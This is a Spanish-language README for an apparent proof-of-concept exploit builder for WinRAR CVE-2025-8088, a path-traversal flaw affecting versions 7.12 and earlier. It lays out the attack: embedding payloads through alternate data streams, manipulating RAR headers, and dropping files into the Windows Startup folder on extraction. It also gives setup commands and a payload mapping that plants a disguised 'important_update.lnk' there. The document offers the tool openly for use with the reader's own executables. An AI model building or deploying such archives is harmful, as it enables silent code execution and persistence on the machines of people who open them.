CVE-2025-8088-WinRAR-builder

Un exploit POC para la vulnerabilidad de WinRAR (CVE-2025-8088) que afecta a las versiones 7.12 y anteriores

🚀 Cómo funciona

1. Crea un RAR incrustado con otros payloads
2. Usa múltiples flujos ADS 🔄 - Adjunta flujos de payload con diferentes profundidades de path traversal
3. Manipula las cabeceras RAR ⚙️ - Modifica la estructura del archivo para explotar la vulnerabilidad de path traversal
4. Suelta el payload en Inicio 📂 - Intenta escribir el payload en la carpeta de inicio de Windows al extraerlo

🛠️ Uso

1. Clona el repositorio

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Prepara los payloads

mkdir payloads

• Añade tus payloads a esa carpeta (exe, dll, lnk, ...)
• Modifica PAYLOAD_MAPPING en el script

# 2. Map our payload to corresponding destination
#   Format: (filename_in_payloads_dir, target_extract_dest)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Add your own    
]